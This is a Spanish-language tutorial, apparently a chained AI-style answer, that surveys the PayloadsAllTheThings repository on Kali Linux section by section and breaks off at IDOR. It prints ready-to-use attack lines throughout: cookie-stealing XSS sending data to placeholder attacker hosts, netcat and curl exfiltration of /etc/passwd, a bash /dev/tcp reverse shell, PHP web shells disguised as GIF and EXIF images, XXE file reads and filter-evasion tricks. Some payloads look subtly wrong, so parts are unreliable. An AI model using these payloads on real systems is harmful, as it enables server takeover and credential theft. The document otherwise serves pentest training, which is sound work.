PayloadsAllTheThings en Kali Español
PayloadsAllTheThings en Kali Español
Si estás buscando PayloadsAllTheThings en español para usarlo en Kali Linux, hay un par de cosas importantes que debes saber.
Este repositorio es la "navaja suiza" de cualquier pentester, pero su base principal está en inglés. No existe una versión oficial 100% traducida al español, ya que la terminología técnica de ciberseguridad se maneja casi exclusivamente en inglés para mantener la consistencia en las herramientas.
Aquí te explico cómo aprovecharlo al máximo desde tu Kali:
1. Instalación en Kali Linux
PayloadsAllTheThings ya está en los repositorios oficiales de Kali. Puedes instalarlo localmente para no depender de GitHub:
sudo apt update
sudo apt install payloadsallthethings
Una vez instalado, encontrarás todos los archivos en:
/usr/share/payloadsallthethings/
2. ¿Cómo manejarlo si prefieres el español?
Dado que no hay una versión traducida completa, aquí tienes las mejores alternativas para consumirlo en nuestro idioma:
Traducción en tiempo real: Si consultas la versión web (GitHub Pages), puedes usar el traductor integrado de tu navegador (Chrome o Firefox). Para términos técnicos de inyección SQL o XSS, la traducción suele ser bastante precisa.
Comunidad "HackTheBox" y "TryHackMe": Muchos writeups en español de estas plataformas citan y explican secciones de PayloadsAllTheThings.
Cheat Sheets Locales: Muchos usuarios crean sus propios "chuletarios" basados en este repo. Puedes buscar en GitHub:
PayloadsAllTheThings Spanishpara encontrar forks o guías resumidas por la comunidad hispana.
3. Secciones Clave para Pentesting Web
Si estás empezando, estas son las carpetas más importantes que encontrarás (aunque los nombres estén en inglés, los payloads son universales):
| Sección | Qué contiene |
| SQL Injection | Comandos para saltar inicios de sesión y extraer bases de datos. |
| XSS Injection | Scripts para ejecutar JavaScript en el navegador de la víctima. |
| Methodology and Resources | Guías paso a paso de cómo atacar diferentes servicios. |
| Reverse Shell Cheatsheet | Comandos de una sola línea (Bash, Python, PHP) para obtener acceso remoto. |
Nota de seguridad: Recuerda usar estos recursos siempre en entornos controlados, laboratorios (como HTB) o bajo contratos de auditoría legales.
Vamos a desglosar estas dos secciones, que son pilares fundamentales en el repositorio de PayloadsAllTheThings. Ambas se centran en manipular cómo una aplicación web maneja los datos de entrada.
1. SQL Injection (SQLi)
Esta sección es una de las más extensas del repo. El objetivo es "engañar" a la base de datos para que ejecute comandos que el desarrollador no planeó.
Conceptos clave en el repositorio:
Authentication Bypass: El clásico payload
' OR 1=1 --. Se usa en formularios de login para entrar sin contraseña.Union Based: Se usa el comando
UNION SELECTpara combinar los resultados de la consulta legítima con datos confidenciales (como usuarios o contraseñas).Blind SQLi (Ciega): Cuando la web no muestra errores. Aquí los payloads usan funciones como
SLEEP()para confirmar la vulnerabilidad si la página tarda en cargar.
2. File Inclusion (LFI / RFI)
Esta sección se divide principalmente en dos tipos de vulnerabilidades que ocurren cuando una aplicación incluye archivos sin validar la ruta adecuadamente.
Local File Inclusion (LFI)
El atacante intenta leer archivos internos del servidor (como archivos de configuración o contraseñas del sistema).
Payload típico:
../../../../etc/passwdPHP Wrappers: PayloadsAllTheThings destaca el uso de "filtros" como
php://filter/convert.base64-encode/resource=config.php. Esto permite leer el código fuente de archivos PHP que normalmente se ejecutarían y no podrías ver.
Remote File Inclusion (RFI)
El atacante logra que el servidor cargue y ejecute un archivo alojado en un servidor externo (controlado por el atacante).
Payload típico:
http://malicious-site.com/shell.txt
Diferencias Rápidas
| Vulnerabilidad | Objetivo Principal | Archivo de PayloadsAllTheThings |
| SQLi | Base de Datos (Tablas, Usuarios, Datos) | SQL Injection/Intruders/... |
| LFI | Sistema de Archivos Local (Configuraciones) | File Inclusion/LFI Payload List.txt |
| RFI | Ejecución de Código Remoto (Shells) | File Inclusion/README.md |
¿Cómo practicar esto en Kali?
Si tienes instalado el repositorio, puedes buscar los archivos de prueba rápidamente. Por ejemplo, para ver los payloads de LFI:
cat /usr/share/payloadsallthethings/File\ Inclusion/Intruders/LFI-filenames-linux.txt
El XSS (Cross-Site Scripting) es, posiblemente, la sección más colorida y creativa de PayloadsAllTheThings. A diferencia del SQLi (que ataca la base de datos), el XSS ataca al usuario que visita la página.
En términos simples: el atacante inyecta un script (usualmente JavaScript) en una página web honesta, y el navegador de la víctima lo ejecuta pensando que es parte del sitio original.
Tipos de XSS en PayloadsAllTheThings
El repositorio divide los ataques según cómo se "inyecta" el código:
1. Reflected XSS (Reflejado)
El script malicioso "rebota" en el servidor. El atacante suele enviar un enlace preparado a la víctima (por ejemplo, en un parámetro de búsqueda).
Ejemplo rápido:
https://sitio.com/search?q=<script>alert('XSS')</script>
2. Stored XSS (Persistente)
Es el más peligroso. El script se guarda en la base de datos del servidor (por ejemplo, en un comentario de un blog o en el nombre de perfil). Cada vez que alguien visite esa página, el script se ejecutará automáticamente.
3. DOM-Based XSS
Aquí el ataque ocurre enteramente en el navegador del cliente. El script manipula el "DOM" (la estructura de la página) mediante funciones de JavaScript como eval() o .innerHTML.
Payloads Famosos del Repositorio
Si abres el archivo de XSS en tu Kali (/usr/share/payloadsallthethings/XSS Injection/), verás listas enormes. Aquí te resumo las más útiles:
El "Clásico" (Para confirmar la vulnerabilidad)
Se usa para ver si aparece una ventana emergente.
<script>alert(1)</script>
Bypass de Filtros (Cuando bloquean la palabra "script")
Muchos sistemas detectan etiquetas <script>, así que usamos otros eventos de HTML:
Usando una imagen rota:
<img src=x onerror=alert(1)>Usando un enlace decorado:
<a href="javascript:alert(1)">Haz clic aquí</a>Usando etiquetas SVG:
<svg onload=alert(1)>
Ataques Reales (Robo de Cookies)
En lugar de un simple alert, el atacante intenta robar la sesión del usuario:
<script>fetch('http://atancante.com/log?c=' + document.cookie);</script>
¿Cómo buscar payloads específicos en tu Kali?
Si estás haciendo un pentest y quieres probar variaciones rápidamente para saltar un WAF (Web Application Firewall), puedes listar los payloads filtrando por palabras clave:
grep "onerror" /usr/share/payloadsallthethings/XSS\ Injection/Intruders/xss-payload-list.txt
Un pequeño "Tip" de Pro
En PayloadsAllTheThings hay una sección llamada "XSS Filter Evasion". Es oro puro si la página que estás atacando tiene filtros básicos (como convertir < en <), ya que te enseña a usar codificación en Base64 o Hexadecimal para "esconder" tu código.
El Blind XSS (XSS Ciego) es una variante del XSS persistente, pero con un giro narrativo: el atacante inyecta el código en un lugar, pero el script se ejecuta en una parte de la aplicación a la que el atacante no tiene acceso visual.
Imagina que dejas un comentario malicioso en un formulario de "Soporte Técnico". Tú no ves nada en tu pantalla, pero cuando el administrador abre su panel de control privado para leer tu ticket, el script se ejecuta en su navegador.
¿Cómo funciona el flujo de un Blind XSS?
Inyección: El atacante envía el payload a través de un campo que se guarda en la base de datos (un formulario de contacto, el nombre de usuario, la dirección de envío, etc.).
Almacenamiento: El servidor guarda el script sin filtrarlo.
Ejecución: Un empleado o administrador accede a una sección administrativa interna donde se cargan esos datos.
Exfiltración: Como el atacante no puede ver la pantalla del administrador, el payload debe estar diseñado para "llamar a casa" (enviar los datos a un servidor externo controlado por el atacante).
Payloads Típicos en PayloadsAllTheThings
En la sección de Blind XSS de tu Kali o en el repo, verás que los payloads no usan alert(), porque nadie estaría allí para verlo. Usan etiquetas que cargan recursos externos:
Usando una imagen (exfiltración simple):
HTML<script>new Image().src="http://tu-servidor.com/log.php?c="+document.cookie;</script>Aquí, el navegador del administrador intentará cargar una imagen de tu servidor, pasando su cookie de sesión como un parámetro en la URL.
Usando
srcen etiquetas de script:HTML"><script src="https://tu-plataforma-xss.com/x.js"></script>
Herramientas Esenciales (XSS Hunter)
Dado que no puedes ver el resultado, necesitas un "receptor". La comunidad suele usar herramientas como XSS Hunter o EZXSS. Estas plataformas:
Te dan un enlace de un archivo JavaScript malicioso.
Tú pegas ese enlace en el formulario vulnerable.
Cuando alguien lo activa, la herramienta captura una captura de pantalla (screenshot) de la página del administrador, su IP, sus cookies y la URL exacta donde se ejecutó.
Ejemplo de "Ciego" total: El User-Agent
A veces, el campo vulnerable ni siquiera es un formulario. Los administradores a menudo usan herramientas para ver estadísticas de visitas que registran el "User-Agent" (el nombre de tu navegador).
Si cambias tu User-Agent por un payload de XSS, podrías atacar el panel de analíticas del servidor:
# Ejemplo usando curl para enviar un payload en el User-Agent
curl -A "<script src=http://tu-repo.com/b.js></script>" http://victima.com
¿Dónde buscar en PayloadsAllTheThings?
Si vas a la carpeta:
/usr/share/payloadsallthethings/XSS Injection/
Busca el archivo XSS Injection - Blind.md. Allí encontrarás una lista de "políglotas" (payloads diseñados para funcionar en múltiples contextos al mismo tiempo, como dentro de un input, una etiqueta <a> o un bloque de JavaScript).
La Inyección de Comandos (OS Command Injection) es una de las vulnerabilidades más críticas que verás en PayloadsAllTheThings, porque permite al atacante ejecutar comandos directamente en el sistema operativo del servidor (Linux o Windows).
A diferencia de la SQLi (que habla con la base de datos), aquí estás hablando directamente con la terminal (bash o cmd).
¿Por qué ocurre?
Ocurre cuando una aplicación web pasa datos del usuario (como un nombre de archivo, una dirección IP para un "ping" o un formato de conversión) a una función del sistema (como system(), exec(), o passthru() en PHP) sin limpiarlos.
Operadores de Encadenamiento (La llave maestra)
Para inyectar comandos, necesitamos "romper" el comando original y añadir el nuestro. En el repositorio encontrarás estos operadores clave:
;(Punto y coma): Ejecuta el segundo comando después del primero (Linux).&&(AND): Ejecuta el segundo solo si el primero tiene éxito.||(OR): Ejecuta el segundo solo si el primero falla.|(Pipe): Pasa la salida del primero al segundo.&(Background): Ejecuta el comando en segundo plano.`(Backticks) o$( ): Ejecuta un comando dentro de otro.
Payloads Útiles en PayloadsAllTheThings
Si vas a /usr/share/payloadsallthethings/Command Injection/, verás estas técnicas:
1. Detección Blind (Ciega)
Al igual que el XSS Ciego, a veces no ves la salida del comando. Usamos el factor tiempo:
127.0.0.1 ; sleep 10Si la página tarda 10 segundos en responder, ¡confirmado! Eres "root" o el usuario del servidor.
2. Exfiltración de Datos (DNS/HTTP)
Si no ves la respuesta, puedes hacer que el servidor te envíe los datos a ti:
cat /etc/passwd | base64 | nc atacante.com 1234O usando
curl:curl http://atacante.com/$(whoami)
3. Salto de Filtros (Bypassing)
Si el programador bloquea espacios o palabras como cat, el repo te enseña trucos de "obfuscation":
Sin espacios:
${IFS}es una variable de entorno que equivale a un espacio.cat${IFS}/etc/passwd
Comandos fragmentados:
w'h'o'a'm'i(El sistema lo lee comowhoami).echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash(Ejecuta el comando codificado en Base64).
¿Cómo practicarlo con seguridad?
En tu Kali, puedes usar el archivo de "Intruders" para ataques de fuerza bruta con herramientas como Burp Suite o FFUF:
cat /usr/share/payloadsallthethings/Command\ Injection/Intruders/command-injection-unix.txt
El Gran Final: La Reverse Shell
El objetivo máximo de una Inyección de Comandos suele ser obtener una Reverse Shell (una terminal remota). En el repositorio hay una sección dedicada llamada Methodology and Resources/Reverse Shell Cheatsheet.
Un ejemplo clásico que verás allí para Bash:
bash -i >& /dev/tcp/TU_IP/4444 0>&1
La sección de Subdomain Enumeration (Enumeración de Subdominios) en PayloadsAllTheThings es la puerta de entrada a la fase de Reconocimiento. El objetivo aquí no es explotar una vulnerabilidad directamente, sino expandir la "superficie de ataque".
Si solo atacas sitio.com, te pierdes de dev.sitio.com, admin-panel.sitio.com o staging.sitio.com, que suelen estar menos protegidos.
1. Técnicas en PayloadsAllTheThings
El repositorio clasifica la enumeración en dos grandes grupos:
A. Enumeración Pasiva
Obtener subdominios sin tocar directamente los servidores del objetivo. Esto es indetectable.
Motores de búsqueda: Google, Bing, DuckDuckGo (usando dorks como
site:*.objetivo.com).Certificados SSL/TLS (CT Logs): Consultar registros públicos de certificados (como crt.sh). Si alguien creó un certificado para
vpn.empresa.com, ese subdominio queda registrado.Servicios Externos: VirusTotal, Censys o Shodan.
B. Enumeración Activa
Interactuar directamente con el objetivo.
Fuerza Bruta de DNS: Probar miles de palabras (
web,mail,test) contra el servidor DNS para ver cuáles responden.Transferencia de Zona (AXFR): Un error de configuración antiguo pero crítico donde el servidor DNS te entrega la lista completa de sus registros.
DNS Brute Forcing con Permutaciones: Si encuentras
dev.sitio.com, pruebas permutaciones comodev-test.sitio.comodev01.sitio.com.
2. Diccionarios en tu Kali
Si instalaste payloadsallthethings en tu Kali, tienes acceso a listas de palabras (wordlists) optimizadas para este propósito.
Puedes encontrarlas en:
/usr/share/payloadsallthethings/Methodology and Resources/Subdomain Enumeration/
Un comando común para usar estas listas con una herramienta como ffuf o gobuster sería:
gobuster dns -d objetivo.com -w /usr/share/payloadsallthethings/Methodology\ and\ Resources/Subdomain\ Enumeration/subdomains-top1mil-5000.txt
3. Herramientas Recomendadas (que menciona el repo)
Aunque PayloadsAllTheThings es principalmente una colección de payloads y comandos, recomienda integrar estas herramientas que ya vienen en Kali:
| Herramienta | Función Principal |
| Amass | La más completa; combina fuentes pasivas y activas. |
| Subfinder | Muy rápida para recolección pasiva (usa APIs). |
| Assetfinder | Ligera y efectiva para encontrar activos relacionados. |
| Sublist3r | Un clásico que agrupa resultados de muchos buscadores. |
El siguiente paso: HTTP Probing
Una vez que tienes una lista de 100 subdominios, no todos están vivos o tienen una web. En el repositorio verás que el siguiente paso lógico es usar herramientas como httpx o httprobe para filtrar cuáles responden por el puerto 80 (HTTP) o 443 (HTTPS).
Tip de Oro: Muchos investigadores de Bug Bounty usan la técnica de "Subdomain Takeover" (Toma de subdominios). Si encuentras un subdominio que apunta a un servicio externo (como un cubo de Amazon S3 o un blog de Ghost) que ya no existe, ¡podrías reclamar ese nombre y controlar el subdominio!
El Subdomain Takeover (Toma de Subdominios) es una de las vulnerabilidades más buscadas en los programas de Bug Bounty porque, aunque no requiere habilidades de programación avanzadas, el impacto es total: tomas el control de una dirección oficial de la empresa.
Ocurre cuando un subdominio apunta a un servicio externo (como AWS, GitHub Pages, Heroku, etc.) que ha sido eliminado o desactivado, pero el registro DNS sigue apuntando allí.
1. El Escenario del "Huérfano"
Imagina este flujo:
La empresa crea
blog.empresa.com.Configuran un CNAME (un alias) que apunta a
empresa-blog.github.io.Meses después, borran el repositorio en GitHub, pero olvidan borrar el registro DNS en su panel de control.
Tú, como atacante, creas una cuenta en GitHub y reclamas el nombre
empresa-blog.github.io.¡Listo! Ahora
blog.empresa.commuestra tu contenido.
2. Cómo identificarlo con PayloadsAllTheThings
En la sección de Subdomain Takeover del repositorio, encontrarás una lista de "huellas digitales" (fingerprints). Cada servicio externo da un error distinto cuando el subdominio no está reclamado:
| Servicio | Mensaje de Error (Fingerprint) |
| GitHub Pages | "There isn't a GitHub Pages site here." |
| Amazon S3 | "The specified bucket does not exist." |
| Heroku | "No such app" |
| Zendesk | "Help Center Closed" |
Si ves uno de estos mensajes al visitar un subdominio, estás ante una mina de oro.
3. Pasos para la explotación (Metodología)
PayloadsAllTheThings sugiere este flujo de trabajo en tu Kali:
Enumeración: Encuentra todos los subdominios (como vimos antes con
AmassoSubfinder).Resolución de CNAME: Revisa a dónde apunta cada subdominio usando el comando
dig:Bashdig CNAME blog.empresa.comDetección de Huérfanos: Usa herramientas automatizadas que cruzan los resultados con la lista de errores conocidos. Una muy famosa que menciona el repo es nuclei:
Bashnuclei -t /usr/share/nuclei-templates/takeovers/ -l lista_subdominios.txt
4. Riesgos y Recompensas
Cuando controlas el subdominio, puedes:
Robar Cookies: Si la cookie de sesión principal de
empresa.comtiene el flag Domain activo, se enviará a tu subdominio.Phishing: Montar una página de login falsa que parezca 100% legítima.
Saltar CSP (Content Security Policy): Si el dominio principal confía en sus subdominios para ejecutar scripts.
Herramienta Recomendada: CanITakeOverXYZ
El repositorio de PayloadsAllTheThings hace referencia constante a la base de datos CanITakeOverXYZ, que es una guía actualizada de qué servicios son vulnerables y cuáles no (porque algunos ahora requieren verificación de propiedad).
Dato Curioso: No todos los servicios son "tomables". Algunos, como Shopify, ahora piden que verifiques que eres el dueño del dominio antes de dejarte apuntar el CNAME.
La sección de Bypass de WAF (Web Application Firewall) es una de las más avanzadas en PayloadsAllTheThings. Un WAF es un guardián que analiza el tráfico HTTP buscando patrones maliciosos (como un <script> o un OR 1=1) para bloquear la conexión.
Hacer un "bypass" no significa que el WAF deje de funcionar, sino que logramos camuflar nuestro ataque para que parezca tráfico legítimo.
1. Técnicas de Evasión (Conceptos Clave)
El repositorio divide estas técnicas según cómo "confundimos" al firewall:
A. IP / DNS Bypass (Saltarse el muro)
A veces el WAF es una capa externa (como Cloudflare). Si descubres la IP real del servidor de origen, puedes atacarlo directamente sin pasar por el WAF.
Técnica: Buscar en registros históricos de DNS o en servicios como Censys/Shodan que tengan indexada la IP real antes de que se activara el WAF.
B. Ofuscación de Payloads (El arte del disfraz)
Si el WAF busca la palabra SELECT, intentamos enviarla de formas que el motor de reglas no reconozca pero la base de datos sí.
Cambio de mayúsculas:
sElEcTen lugar deSELECT.Codificación: Usar URL Encoding (
%53%45%4c%45%43%54), Hexadecimal o Base64.Comentarios SQL:
SEL/**/ECT(el WAF ve ruido, la DB ve el comando).
2. Payloads de PayloadsAllTheThings para WAF
Si vas a /usr/share/payloadsallthethings/WAF Bypass/, verás estrategias específicas:
Bypassing con Caracteres Especiales
Muchos WAFs se confunden con cómo se procesan los espacios o los saltos de línea.
Uso de "Null Bytes":
%00<script>...Nuevas líneas: ```http
GET /index.php?id=1
OR
1=1
HTTP Parameter Pollution (HPP)
Consiste en enviar el mismo parámetro varias veces. Algunos WAFs solo revisan el primero, mientras que la aplicación usa el segundo (o la combinación de ambos).
Ejemplo:
?id=1&id=UNION SELECT password FROM users
3. Herramientas en Kali para automatizar esto
El repositorio recomienda no hacerlo todo a mano, sino usar herramientas que ya integran estas listas de PayloadsAllTheThings:
WAFW00F: Sirve para identificar qué WAF está protegiendo la web (es vital saber si es Cloudflare, Akamai o ModSecurity para elegir el payload adecuado).
wafw00f https://objetivo.com
sqlmap (con --tamper):
sqlmaptiene scripts llamados "tampers" que están basados en las mismas técnicas del repo para modificar los payloads de SQLi automáticamente.sqlmap -u "url" --tamper=charlereplace,space2comment
4. Técnicas Modernas: Inconsistencia de Protocolos
Una técnica muy potente mencionada en el repo es el HTTP Request Smuggling. Se aprovecha de que el WAF y el Servidor Web interpretan de forma distinta dónde termina una petición y empieza la siguiente, permitiendo "esconder" una petición maliciosa dentro de una legítima.
¿Cómo usar esto en un Pentest?
Si estás atascado frente a un WAF, lo ideal es ir al archivo:
/usr/share/payloadsallthethings/WAF\ Bypass/README.md
Allí verás una tabla comparativa de qué técnicas suelen funcionar contra qué firewalls específicos.
La sección de Bypass de File Upload (Salto de restricciones de subida de archivos) es una de las más críticas en el repositorio de PayloadsAllTheThings. El objetivo aquí es "engañar" al servidor para que acepte un archivo ejecutable (como una Web Shell en PHP, ASP o JSP) cuando el sistema espera algo inofensivo como una imagen (.jpg, .png).
Si logras subir una shell y ejecutarla, tienes el control total del servidor.
1. Técnicas de Evasión de Extensiones
El repositorio detalla cómo los desarrolladores suelen intentar bloquear archivos maliciosos y cómo saltarse esas reglas:
A. Extensiones Alternativas
Si el servidor bloquea .php, quizás no bloquee otras extensiones que el servidor web todavía procesa como PHP:
PHP:
.php3,.php4,.php5,.phtml,.phar.ASP.NET:
.aspx,.config,.ashx,.asmx.
B. El truco del "Doble Punto" o Caracteres Nulos
A veces, el filtro solo mira el final de la cadena o se detiene ante ciertos caracteres:
Null Byte (obsoleto en versiones nuevas pero útil):
shell.php%00.jpg(El servidor ve un.jpg, pero el sistema operativo corta en el%00y guardashell.php).Doble extensión:
shell.jpg.phposhell.php.jpg.
2. Saltando la Validación de Contenido (Magic Bytes)
Muchos servidores no se fían solo de la extensión, sino que revisan el contenido del archivo para ver si realmente es una imagen.
Magic Bytes (Números Mágicos)
Cada tipo de archivo empieza con unos bytes específicos. PayloadsAllTheThings te da los códigos para falsificarlos. Por ejemplo, si añades los bytes de un GIF al principio de tu script PHP, el servidor pensará que es una imagen válida:
GIF89a: Si empiezas tu archivo con
GIF89a;, el comandofileen Linux dirá que es un GIF.Payload:
GIF89a; <?php system($_GET['cmd']); ?>
Manipulación de MIME-Type
Cuando subes un archivo, tu navegador envía una cabecera Content-Type. Puedes interceptar la petición con Burp Suite y cambiarla:
De:
Content-Type: application/x-phpA:
Content-Type: image/jpeg
3. Técnicas Avanzadas: Explotando la Configuración
El archivo .htaccess (Ataque Maestro)
Si puedes subir un archivo .htaccess a un servidor Apache, puedes cambiar las reglas del juego. Puedes decirle al servidor que trate los archivos .txt como si fueran PHP:
AddType application/x-httpd-php .txt
Luego subes tu shell como notas.txt y el servidor la ejecutará.
Políglotas (Archivos que son dos cosas a la vez)
El repositorio tiene una sección increíble sobre Image/PHP Polyglots. Es un archivo que es una imagen válida (se puede abrir y ver) pero que contiene código PHP oculto en los metadatos (EXIF data).
Puedes usar la herramienta
exiftoolen Kali para esto:exiftool -Comment='<?php system($_GET["cmd"]); ?>' imagen.jpg
4. ¿Dónde encontrar estos archivos en tu Kali?
Para ver la lista completa de extensiones y payloads de bypass de subida:
/usr/share/payloadsallthethings/Upload\ Insecure\ Files/
Ahí encontrarás carpetas específicas para:
Extensiones: Listas masivas para hacer ataques de fuerza bruta con Burp Suite.
Web Shells: Archivos listos para subir (en PHP, ASPX, etc.).
¿Cuál es el siguiente paso?
Una vez que has subido tu archivo malicioso, el reto es encontrar dónde se guardó para ejecutarlo (fuzzing de directorios).
La Inyección de Plantillas en el Lado del Servidor (SSTI - Server-Side Template Injection) es, como bien dices, un ataque moderno y extremadamente potente. Ocurre cuando un atacante logra insertar código malicioso dentro de una plantilla (template) que el servidor web utiliza para generar páginas dinámicas.
A diferencia del XSS (que se ejecuta en el navegador del cliente), el SSTI se ejecuta directamente en el servidor, lo que a menudo conduce a una Ejecución Remota de Comandos (RCE).
1. ¿Cómo funciona el SSTI?
Muchos frameworks (como Flask en Python, Ruby on Rails o Java Spring) usan motores de plantillas como Jinja2, Twig, Mako o FreeMarker para insertar datos del usuario en el HTML.
Si el desarrollador hace algo como esto:
render_template_string("Hola " + nombre_usuario)
En lugar de:
render_template("saludo.html", nombre=nombre_usuario)
...el motor de plantillas intentará "interpretar" cualquier cosa que el usuario envíe entre llaves {{ }}.
2. Metodología de PayloadsAllTheThings
El repositorio organiza el SSTI en tres fases críticas:
A. Detección (El Árbol de Decisión)
Lo primero es saber qué motor de plantillas está usando el servidor. Para ello, enviamos operaciones matemáticas simples y vemos el resultado:
Envías:
{{7*7}}Si el servidor responde
49, ¡es vulnerable!
Luego, usas un "árbol de decisión" de payloads para diferenciar entre motores (por ejemplo, Jinja2 vs. Twig):
${7*7}-> Si funciona, es probable que sea Java o PHP (Twig/FreeMarker).{{7*'7'}}-> Si devuelve7777777, es Jinja2 o Mako (Python).
B. Exploración e Introspección
Una vez identificado el motor (supongamos Jinja2 de Python), el objetivo es "escalar" desde el motor de plantillas hasta el sistema operativo. Usamos la introspección de objetos de Python:
{{ self.__dict__ }}: Para ver qué variables hay en memoria.{{ ''.__class__.__mro__ }}: Para navegar por la jerarquía de clases hasta llegar a la clase baseobject.
C. Explotación (RCE)
El "Santo Grial" del SSTI es encontrar una clase que nos permita ejecutar comandos. Un payload clásico de PayloadsAllTheThings para Jinja2 que busca la clase subprocess.Popen para ejecutar id sería:
{{ self.__init__.__globals__.__specs__['os'].popen('id').read() }}
3. Motores Comunes y sus Payloads
En /usr/share/payloadsallthethings/Server Side Template Injection/ verás carpetas para cada lenguaje:
| Lenguaje | Motores Comunes | Payload de Prueba |
| Python | Jinja2, Mako | {{7*7}} |
| PHP | Twig, Smarty | {{7*7}} o {7*7} |
| Java | FreeMarker, Velocity | ${7*7} |
| Ruby | ERB | <%= 7*7 %> |
4. ¿Cómo practicar SSTI en tu Kali?
El repositorio incluye una lista de "Intruders" para automatizar la detección con Burp Suite:
/usr/share/payloadsallthethings/Server\ Side\ Template\ Injection/Intruders/ssti-payloads.txt
Tip de Pro: Herramientas automatizadas
Aunque el repo es manual, menciona herramientas como tplmap, que es el "sqlmap" de las plantillas. Puedes usarlo en Kali indicando la URL vulnerable:
python3 tplmap.py -u "http://objetivo.com/?name=test"
El SSTI es fascinante porque requiere entender cómo el lenguaje de programación maneja sus objetos internos. Es como un rompecabezas de ingeniería inversa.
La Inyección de Entidades Externas XML (XXE) es una vulnerabilidad que ocurre cuando una aplicación procesa datos XML de un usuario sin configurar correctamente el analizador (parser).
En PayloadsAllTheThings, esta sección es oro puro porque el XML es un lenguaje muy antiguo y "parlanchín" que permite hacer cosas que los desarrolladores modernos a menudo olvidan.
1. ¿Qué es una "Entidad" en XML?
Para entender el ataque, primero hay que entender que XML permite definir "atajos" llamados entidades.
Entidad normal: Define
&nombre;para que valgaJuan.Entidad Externa: Define
&archivo;para que el servidor vaya a buscar el contenido de un archivo real en su disco duro.
2. Tipos de Ataques XXE en el Repositorio
Si exploras /usr/share/payloadsallthethings/XXE Injection/, verás que se dividen por el objetivo:
A. Lectura de Archivos Locales (LFI via XXE)
Es el uso más común. Engañas al servidor para que lea un archivo sensible y lo muestre en la respuesta.
Payload clásico:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
B. Blind XXE (XXE Ciego)
A veces el servidor procesa el XML pero no te muestra el resultado en pantalla. Aquí es donde el repo se pone interesante. Usamos "Parámetros de Entidad" para enviar los datos a nuestro propio servidor.
El servidor lee
/etc/passwd.El servidor hace una petición web a
http://tu-atancante.com/?dato=CONTENIDO_DEL_ARCHIVO.
C. SSRF vía XXE
Puedes usar el servidor vulnerable como un "puntero" para atacar otros servicios internos que no son accesibles desde internet.
Payload:
<!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
3. Técnicas Avanzadas: Filtros de PHP
Al igual que en la inyección de archivos, si intentas leer un archivo .php directamente, el XML se romperá porque el código tiene caracteres como < o >.
Truco de PayloadsAllTheThings: Usar el filtro Base64 de PHP para que el servidor nos envíe el código "envuelto" y no rompa el XML.
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
4. Cómo detectar XXE en tu Kali
El repositorio sugiere buscar cualquier petición que envíe Content-Type: application/xml o incluso intentar cambiar un application/json por XML, ya que algunos servidores aceptan ambos.
Herramientas y Diccionarios:
En tu carpeta local de Kali:
/usr/share/payloadsallthethings/XXE\ Injection/Intruders/
Encontrarás archivos como xxe-filenames-linux.txt que puedes cargar en el Intruder de Burp Suite para probar automáticamente a leer archivos comunes del sistema.
Un detalle crucial: El DOCTYPE
Para que un ataque XXE funcione, el servidor debe permitir la definición <!DOCTYPE. Muchos WAFs bloquean esta palabra clave. El repo tiene una sección de "XXE WAF Bypass" donde enseñan a usar codificaciones como UTF-16 para que el WAF no vea el texto plano pero el servidor sí lo procese.
La Deserialización Insegura es considerada uno de los "pesos pesados" en PayloadsAllTheThings. Es una vulnerabilidad compleja porque no se trata de una simple cadena de texto maliciosa, sino de manipular el estado de un objeto de programación para forzar al servidor a hacer algo que no debería.
Para entenderlo, imagina que la Serialización es "congelar" un objeto (con sus datos y funciones) para enviarlo por la red, y la Deserialización es "descongelarlo" al llegar al destino. El ataque ocurre cuando el servidor confía ciegamente en lo que acaba de "descongelar".
1. El Concepto de "Gadget Chains"
En el repositorio, verás mucho el término Gadget. Un gadget es un pedazo de código que ya existe en la aplicación (o en sus librerías) y que, aunque parece inofensivo, puede ser encadenado con otros para ejecutar comandos.
Paso 1: Envías un objeto serializado malicioso.
Paso 2: El servidor lo deserializa automáticamente.
Paso 3: Al "despertar", el objeto ejecuta un método especial (como
__destructen PHP oreadObjecten Java) que activa la cadena de gadgets hasta llegar al RCE.
2. Deserialización por Lenguaje (en PayloadsAllTheThings)
El repositorio divide esta sección de forma muy estricta por lenguaje, ya que cada uno tiene su propia forma de manejar objetos:
PHP (Object Injection)
Se basa en los "Métodos Mágicos" que se ejecutan automáticamente.
Payload típico: Verás estructuras como
O:8:"MyClass":1:{s:4:"file";s:11:"/etc/passwd";}.Si la clase
MyClasstiene un método que borra o lee el archivo guardado en la variablefile, has tenido éxito.
Java (El más común en empresas)
Es extremadamente potente. PayloadsAllTheThings hace referencia constante a una herramienta que debes tener en tu Kali: ysoserial.
Técnica: Generas un "payload" que aprovecha librerías comunes (como CommonsCollections) para ejecutar comandos.
java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.bin
Python (Pickle)
En Python, el módulo pickle es famoso por ser inseguro por diseño.
Payload: El repo muestra cómo usar el método
__reduce__para ejecutaros.system(). Un objeto "pickled" malicioso puede ejecutar código en cuanto se llama apickle.loads().
3. ¿Cómo detectarlo con tu Kali?
Si vas a la carpeta:
/usr/share/payloadsallthethings/Insecure Deserialization/
Encontrarás guías específicas para identificar estas firmas en el tráfico de red:
PHP: Cadenas que empiezan por
O:,a:,s:.Java: Datos en Base64 que empiezan por
rO0AB(que es el encabezado hexadecimalAC ED 00 05de Java convertido)..NET: XML o JSON que incluye tipos de objetos de sistema (como
TypeNameHandling.Allen Newtonsoft.Json).
4. Herramientas Recomendadas
Además de las listas de payloads, el repo sugiere usar:
Burp Suite Extension - Java Deserialization Scanner: Escanea automáticamente peticiones en busca de objetos Java vulnerables.
ysoserial.net: Para aplicaciones .NET.
PHPGGC: Para generar cadenas de gadgets en aplicaciones PHP modernas (como Laravel o Symfony).
¿Hacia dónde vamos ahora?
La deserialización suele ser el final del camino para un atacante porque otorga RCE (Remote Code Execution) directamente.
Pasamos a una de las vulnerabilidades más comunes y, a menudo, más fáciles de explotar: IDOR (Insecure Direct Object Reference), que forma parte de la categoría de Broken Access Control (Control de Acceso Roto).
En PayloadsAllTheThings, esta sección no se trata tanto de "scripts extraños", sino de lógica de negocio. El IDOR ocurre cuando una aplicación confía en un identificador proporcionado por el usuario para acceder a un objeto (un perfil, una factura, un mensaje) sin verificar si ese usuario tiene permiso para verlo.
1. El concepto básico: ¿Qué es un IDOR?
Imagina que inicias sesión en tu banco y la URL es:
